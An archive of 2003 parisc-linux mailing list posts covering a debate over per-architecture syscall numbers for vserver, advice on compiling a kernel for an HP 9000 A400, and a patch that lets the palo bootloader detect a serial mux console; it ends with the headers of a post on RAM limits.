List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Dec 2003 01:00:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20431

On Thu, Dec 18, 2003 at 12:55:35PM -0700, Grant Grundler wrote:
> On Thu, Dec 18, 2003 at 05:28:09PM +0100, Herbert Poetzl wrote:
> > personally, I believe that the whole syscall number
> > allocation per architecture is broken by design,
> 
> No it's definitely not.

since you removed it from the original context ...

I agree from a technical point of view, but not from 
the developer's perspective (who just want's a syscall 
for whatever arch independant use ...)

> Binary compatibility with other OS's is an arch specific problem.

for sure it is, but I don't see a relation there ...

> In our case, any chance of support for HPUX would
> require reserving HPUX syscall numbers and provide
> appropriate wrappers in the kernel to support it.

so where is the problem, having an additional offset/info
in the macro defining the syscall can handle that, why
has it to be a different numbering for 'linux' syscalls?

> And I don't see why the value of a syscall matters.

it doesn't matter, and it doesn't matter to me ...

> Just use the right header files and it should work on any arch.

right, but getting one syscall for every arch, seems
like a jigsaw puzzle, as the original thread shows ...

best,
Herbert

> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


From - Thu Nov 08 21:30:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herbert Poetzl <herbert@13thfloor.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Compiling Kernel for HP 9000/800/A400-44
Date: Fri, 19 Dec 2003 02:13:16 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20031219011316.GC7469@MAIL.13thfloor.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623065 3542 80.91.229.3 (22 Nov 2014 02:24:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: herbert@13thfloor.at  Thu Dec 18 18:13:17 2003
Return-Path: <herbert@13thfloor.at>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.13thfloor.at (MAIL.13thfloor.at [212.16.62.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41DD0484B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Dec 2003 18:13:17 -0700 (MST)
Original-Received: by mail.13thfloor.at (Postfix, from userid 1001)
	id 8FB94510FC8; Fri, 19 Dec 2003 02:13:16 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Dec 2003 01:13:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20432


Hi!

what is the best way to compile a 2.4.23-pa3
kernel for a HP 9000/800/A400-44?

cpu family	: PA-RISC 2.0
cpu		: PA8500 (PCX-W)
cpu MHz		: 440.000000
model		: 9000/800/A400-44
model name	: Crescendo DC- 440

TIA,
Herbert



From - Thu Nov 08 21:30:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Vserver] Re: [parisc-linux] syscall number for vserver
Date: Thu, 18 Dec 2003 19:03:52 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <20031219020352.GA16266__2389.03102367676$1416623066$gmane$org@colo.lackof.org>
References: <20031217221618.GC9313@MAIL.13thfloor.at>
	<20031218072506.GA8142@lst.de>
	<20031218150129.GA792@MAIL.13thfloor.at>
	<20031218160450.GJ15674@parcelfarce.linux.theplanet.co.uk>
	<20031218162809.GA2605@MAIL.13thfloor.at>
	<20031218195535.GA12591@colo.lackof.org>
	<20031219010035.GB7469@MAIL.13thfloor.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623066 3546 80.91.229.3 (22 Nov 2014 02:24:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
	vserver@list.linux-vserver.org
Original-X-From: grundler@lackof.org  Thu Dec 18 19:03:54 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49FC7484B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Dec 2003 19:03:54 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 9051429803A; Thu, 18 Dec 2003 19:03:53 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 16518-03; Thu, 18 Dec 2003 19:03:52 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C1D32298036; Thu, 18 Dec 2003 19:03:52 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20031219010035.GB7469@MAIL.13thfloor.at>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Dec 2003 02:03:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20433

On Fri, Dec 19, 2003 at 02:00:35AM +0100, Herbert Poetzl wrote:
...
> I agree from a technical point of view, but not from 
> the developer's perspective (who just want's a syscall 
> for whatever arch independant use ...)

sorry - an "arch independent syscall" sounds like an oxymoron to me.

> > Binary compatibility with other OS's is an arch specific problem.
> 
> for sure it is, but I don't see a relation there ...

ok

> > In our case, any chance of support for HPUX would
> > require reserving HPUX syscall numbers and provide
> > appropriate wrappers in the kernel to support it.
> 
> so where is the problem, having an additional offset/info
> in the macro defining the syscall can handle that, why
> has it to be a different numbering for 'linux' syscalls?

Linux kernel doesn't need of implement any given syscall the same
way for each arch.
gettimeofday/settimeofday are popular ones to re-implement
in glibc with alternative kernel support. performance sensitive
"syscalls" are subject to a high level of customization
given the resources and interest.

> > Just use the right header files and it should work on any arch.
> 
> right, but getting one syscall for every arch, seems
> like a jigsaw puzzle, as the original thread shows ...

ah yes. Open source is self correcting in that regard.
When someone decides it's important to have vserver syscall
implemented on parisc, they can demonstrate it works and
show it's useful.  If it's really arch independent, then
implementing it should be as easy as picking some random
unused __NR_xxx to test with and enabling the kernel config
options, right?

BTW, I visited http://www.linux-vserver.org/ and didn't feel
I understood why it's more useful than say, user mode linux
(another form of virtualization) or vPARs. But I'm no
security expert, just an IO/driver hacker.

grant


From - Thu Nov 08 21:30:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Kernel for HP 9000/800/A400-44
Date: Thu, 18 Dec 2003 19:13:33 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20031219021333.GD16266@colo.lackof.org>
References: <20031219011316.GC7469@MAIL.13thfloor.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623066 3547 80.91.229.3 (22 Nov 2014 02:24:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Herbert Poetzl <herbert@13thfloor.at>
Original-X-From: grundler@lackof.org  Thu Dec 18 19:13:34 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69154484B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Dec 2003 19:13:34 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 4693329803A; Thu, 18 Dec 2003 19:13:34 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 16701-01; Thu, 18 Dec 2003 19:13:33 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B656F298036; Thu, 18 Dec 2003 19:13:33 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20031219011316.GC7469@MAIL.13thfloor.at>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Dec 2003 02:13:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20434

On Fri, Dec 19, 2003 at 02:13:16AM +0100, Herbert Poetzl wrote:
> Hi!
> 
> what is the best way to compile a 2.4.23-pa3
> kernel for a HP 9000/800/A400-44?

I'll assume you've already installed debian.

You'll need to grab the gcc-hppa64 compiler from:	
   ftp://ftp.parisc-linux.org/unofficial-debs/gcc-hppa64_3.0.4ds3-7.1_hppa.deb

Then follow directions on http://www.parisc-linux.org/kernel/index.html

If you a "custom-for-a500" config file, you can grab a 2.4.x kernel+config
file from ftp.parisc-linux.org/kernel/a500 to start with.

grant


From - Thu Nov 08 21:30:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herbert Poetzl <herbert@13thfloor.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Kernel for HP 9000/800/A400-44
Date: Fri, 19 Dec 2003 03:28:00 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20031219022800.GA8847@MAIL.13thfloor.at>
References: <20031219011316.GC7469@MAIL.13thfloor.at>
	<20031219021333.GD16266@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623066 3550 80.91.229.3 (22 Nov 2014 02:24:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: herbert@13thfloor.at  Thu Dec 18 19:28:01 2003
Return-Path: <herbert@13thfloor.at>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.13thfloor.at (MAIL.13thfloor.at [212.16.62.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9642C484B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Dec 2003 19:28:01 -0700 (MST)
Original-Received: by mail.13thfloor.at (Postfix, from userid 1001)
	id DB248510FC8; Fri, 19 Dec 2003 03:28:00 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20031219021333.GD16266@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Dec 2003 02:28:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20435

On Thu, Dec 18, 2003 at 07:13:33PM -0700, Grant Grundler wrote:
> On Fri, Dec 19, 2003 at 02:13:16AM +0100, Herbert Poetzl wrote:
> > Hi!
> > 
> > what is the best way to compile a 2.4.23-pa3
> > kernel for a HP 9000/800/A400-44?
> 
> I'll assume you've already installed debian.

right ...

> You'll need to grab the gcc-hppa64 compiler from:	
>    ftp://ftp.parisc-linux.org/unofficial-debs/gcc-hppa64_3.0.4ds3-7.1_hppa.deb

hmm, is there a source available somewhere ...
(I don't like binary only packages)

> Then follow directions on http://www.parisc-linux.org/kernel/index.html

okay, looks like the usual stuff ...

> If you a "custom-for-a500" config file, you can grab a 2.4.x kernel+config
> file from ftp.parisc-linux.org/kernel/a500 to start with.

found them at ftp://ftp.parisc-linux.org/kernels/a500/

TIA,
Herbert

> grant


From - Thu Nov 08 21:30:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herbert Poetzl <herbert@13thfloor.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Vserver] Re: [parisc-linux] syscall number for vserver
Date: Fri, 19 Dec 2003 04:24:56 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <20031219032455.GB8847__39366.338044829$1416623067$gmane$org@MAIL.13thfloor.at>
References: <20031217221618.GC9313@MAIL.13thfloor.at>
	<20031218072506.GA8142@lst.de>
	<20031218150129.GA792@MAIL.13thfloor.at>
	<20031218160450.GJ15674@parcelfarce.linux.theplanet.co.uk>
	<20031218162809.GA2605@MAIL.13thfloor.at>
	<20031218195535.GA12591@colo.lackof.org>
	<20031219010035.GB7469@MAIL.13thfloor.at>
	<20031219020352.GA16266@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623067 3552 80.91.229.3 (22 Nov 2014 02:24:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:27 +0000 (UTC)
Cc: vserver@list.linux-vserver.org, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: herbert@13thfloor.at  Thu Dec 18 20:24:57 2003
Return-Path: <herbert@13thfloor.at>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.13thfloor.at (MAIL.13thfloor.at [212.16.62.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 278F2484B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Dec 2003 20:24:57 -0700 (MST)
Original-Received: by mail.13thfloor.at (Postfix, from userid 1001)
	id 4919D510FC8; Fri, 19 Dec 2003 04:24:56 +0100 (CET)
Mail-Followup-To: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org, vserver@list.linux-vserver.org
Content-Disposition: inline
In-Reply-To: <20031219020352.GA16266@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Dec 2003 03:24:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20436

On Thu, Dec 18, 2003 at 07:03:52PM -0700, Grant Grundler wrote:
> On Fri, Dec 19, 2003 at 02:00:35AM +0100, Herbert Poetzl wrote:
> ...
> > I agree from a technical point of view, but not from 
> > the developer's perspective (who just want's a syscall 
> > for whatever arch independant use ...)
> 
> sorry - an "arch independent syscall" sounds like an oxymoron to me.

that's probably why most of the syscalls are
implemented outside of linux/arch/* (about 250)

> > > Binary compatibility with other OS's is an arch specific problem.
> > 
> > for sure it is, but I don't see a relation there ...
> 
> ok
> 
> > > In our case, any chance of support for HPUX would
> > > require reserving HPUX syscall numbers and provide
> > > appropriate wrappers in the kernel to support it.
> > 
> > so where is the problem, having an additional offset/info
> > in the macro defining the syscall can handle that, why
> > has it to be a different numbering for 'linux' syscalls?
> 
> Linux kernel doesn't need of implement any given syscall the same
> way for each arch.

sure not, but gettimeofday for example, will
return the current time, and this usually does
not need an architecture specific interface
(for sure it will require an arch specific
implementation ;)

> gettimeofday/settimeofday are popular ones to re-implement
> in glibc with alternative kernel support. performance sensitive
> "syscalls" are subject to a high level of customization
> given the resources and interest.
> 
> > > Just use the right header files and it should work on any arch.
> > 
> > right, but getting one syscall for every arch, seems
> > like a jigsaw puzzle, as the original thread shows ...
> 
> ah yes. Open source is self correcting in that regard.
> When someone decides it's important to have vserver syscall
> implemented on parisc, they can demonstrate it works and
> show it's useful.  

yes ;)

> If it's really arch independent, then implementing it 
> should be as easy as picking some random unused __NR_xxx 
> to test with and enabling the kernel config options, right?

well, yeah, that is what I did to add the parisc(64)
vserver support, except that it doesn't have
a kernel config option yet ;)

> BTW, I visited http://www.linux-vserver.org/ and didn't feel
> I understood why it's more useful than say, user mode linux
> (another form of virtualization) or vPARs. 

hmm, for UML you'll need a kernel for each vps,
which eats up a lot of resources, where vserver
even allow you to share the files between vps

regarding vPARs, I didn't know that they work
for Linux yet, can you give some hints on that?

> But I'm no security expert, just an IO/driver hacker.

security is just one aspect of this project ...
IO/driver hacking is fun sometimes ...

best,
Herbert

> grant
> _______________________________________________
> Vserver mailing list
> Vserver@list.linux-vserver.org
> http://list.linux-vserver.org/mailman/listinfo/vserver


From - Thu Nov 08 21:30:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Update palo to autodetect Serial Mux and append
	console=ttyB0
Date: Thu, 18 Dec 2003 21:58:00 -0700
Lines: 150
Approved: news@gmane.org
Message-ID: <1071809880.25057.19.camel@laptop.bradetich.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-8S2x6HmuIr+x67NN2l7k"
X-Trace: ger.gmane.org 1416623067 3557 80.91.229.3 (22 Nov 2014 02:24:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bame@debian.org
Original-X-From: rbradetich@uswest.net  Thu Dec 18 21:58:11 2003
Return-Path: <rbradetich@uswest.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75764484B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Dec 2003 21:58:11 -0700 (MST)
Original-Received: from 6-allhosts (unknown [10.0.230.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 2E3FF2B2B1; Thu, 18 Dec 2003 21:58:10 -0700 (MST)
X-Mailer: Ximian Evolution 1.4.5 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Dec 2003 04:58:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20437


--=-8S2x6HmuIr+x67NN2l7k
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Hello Paul and parisc-linux hackers,

I got an itch to update palo to auto-detect the serial mux and append
the console=ttyB0 to the kernel commandline like it does for tty0 and
ttyS0.

The following patch impliments this update (scrach one itch).

I have successfully booted 2.6.0-pa0 on C200+ and K460 using both tftp'd
kernels and on-disk kernels.

Feedback and/or testing welcome.

thanks,

- Ryan

P.S. This patch has not been commited to the palo cvs.  Feel free to
commit the patch if you approve it Paul; or let me know what needs to be
updated (version?, changelog entry?, etc) if you want me to commit it.


--=-8S2x6HmuIr+x67NN2l7k
Content-Disposition: attachment; filename=palo.diff
Content-Type: text/x-patch; name=palo.diff; charset=ANSI_X3.4-1968
Content-Transfer-Encoding: 7bit

Index: ipl/bootloader.h
===================================================================
RCS file: /var/cvs/palo/ipl/bootloader.h,v
retrieving revision 1.11
diff -u -p -r1.11 bootloader.h
--- ipl/bootloader.h	7 Jan 2002 23:55:10 -0000	1.11
+++ ipl/bootloader.h	19 Dec 2003 03:39:41 -0000
@@ -29,6 +29,7 @@ void die(const char *);
 void firmware_init(int started_wide);
 void pdc_default_width(int wide);
 int pdc_cons_duplex();
+int pdc_cons_mux(int *is_mux);
 int pdc_iodc_cin(char *buf, int size);
 void pdc_iodc_cout(const char *c, int size);
 int pdc_os_bits();
Index: ipl/ipl.c
===================================================================
RCS file: /var/cvs/palo/ipl/ipl.c,v
retrieving revision 1.32
diff -u -p -r1.32 ipl.c
--- ipl/ipl.c	13 Jan 2003 19:41:24 -0000	1.32
+++ ipl/ipl.c	19 Dec 2003 03:39:41 -0000
@@ -7,9 +7,13 @@
  */
 #include <stddef.h>
 #include "bootloader.h"
+#include <asm/pdc.h>
 #include <asm/byteorder.h>
 #include "load.h"
 
+#undef PAGE0
+#define PAGE0   ((struct zeropage *)0x00000000)
+
 int Debug = 0;
 
 void flush_data_cache(char *start, size_t length)
@@ -320,11 +324,22 @@ iplmain(int is_interactive, char *initia
 	printf("\nInformation: No console specified on kernel command line."
 		" This is normal.\nPALO will choose the console currently"
 		" used by firmware ");
+
         strcat(f.cmdline, " console=");
 	if (pdc_cons_duplex())
 	{
+            int is_mux;
+
 	    printf("(serial).\n");
-	    strcat(f.cmdline, "ttyS0");
+
+            if(pdc_cons_mux(&is_mux) != PDC_OK)
+                printf("Informatin: The PDC calls to query the console device failed. Assuming console=ttyS0\n");
+
+            if(is_mux)
+	        strcat(f.cmdline, "ttyB0");
+            else
+	        strcat(f.cmdline, "ttyS0");
+
 	    if (strstr(f.cmdline, " TERM=") == 0)
 	        strcat(f.cmdline, " TERM=vt102");
 	}
Index: ipl/pdc_misc.c
===================================================================
RCS file: /var/cvs/palo/ipl/pdc_misc.c,v
retrieving revision 1.14
diff -u -p -r1.14 pdc_misc.c
--- ipl/pdc_misc.c	7 Jan 2002 23:55:10 -0000	1.14
+++ ipl/pdc_misc.c	19 Dec 2003 03:39:41 -0000
@@ -20,6 +20,8 @@
 #define PDC_RETURN_DEFAULTS 1
 #define PDC_SET_DEFAULTS 2
 #define PDC_STABLE 10
+#define HPHW_A_DIRECT 5
+#define MUX_SVERSION 0x0d
 
 void die(const char *s)
 {
@@ -221,6 +223,37 @@ int
 pdc_cons_duplex()
 {
     return (PAGE0->mem_cons.cl_class == CL_DUPLEX);
+}
+
+int
+pdc_cons_mux(int *is_mux)
+{
+    int r;
+    unsigned char hw_type;    /* 5  bits used */
+    unsigned int sversion;    /* 20 bits used */
+    unsigned pdc_result2[64] __attribute__ ((aligned (8)));
+
+    *is_mux = 0;
+
+    r = firmware_call(mem_pdc, PDC_IODC, PDC_IODC_READ,
+                pdc_result, PAGE0->mem_cons.hpa,
+		0, pdc_result2, 32);
+                
+    if (r >= 0)
+    {
+        unsigned char iodc_data[32];
+        memcpy(&iodc_data, pdc_result2, 32);
+
+        hw_type = iodc_data[3] & 0x1f;
+        sversion = ((iodc_data[4] & 0x1f) << 16) | (iodc_data[5] << 8) | iodc_data[6];
+
+        if(hw_type == HPHW_A_DIRECT && sversion == MUX_SVERSION)
+            *is_mux = 1;
+
+	return PDC_OK;
+    }
+
+    return r;				/* r < 0; error */
 }
 
 int

--=-8S2x6HmuIr+x67NN2l7k--



From - Thu Nov 08 21:30:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Weissmann <paul@doorslam.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Maximum RAM sizes on B1xxL, C1xx/C2xx
Date: Fri, 19 Dec 2003 10:28:14 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20031219092814.GA1094@blinder.doorslam.net>
Reply-To: paul@doorslam.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623067 3562 80.91.229.3 (22 Nov 2014 02:24:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: paul@doorslam.net  Fri Dec 19 02:29:06 2003
Return-Path: <paul@doorslam.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.lucifier.net (ns.lucifier.net [66.114.66.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C1BE484B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Dec 2003 02:29:06 -0700 (MST)
Original-Received: from doorslam.net (port-212-202-169-196.reverse.qdsl-home.de
	[212.202.169.196])
	by ns.lucifier.net (8.12.9/8.12.9) with ESMTP id hBJ9SlqQ004867
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK)
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Dec 2003 04:28:49 -0500 (EST)
Original-Received: from blinder.doorslam.net (paul@localhost [127.0.0.1])
	by doorslam.net (8.12.10/8.12.2) with ESMTP id hBJ9SEei012323
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Dec 2003 10:28:30 +0100 (CET)
Original-Received: (from paul@localhost)
	by blinder.doorslam.net (8.12.10/8.12.1/Submit) id hBJ9SEZr010519
	for parisc-linux@lists.parisc-linux.org;
	Fri, 19 Dec 2003 10:28:14 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
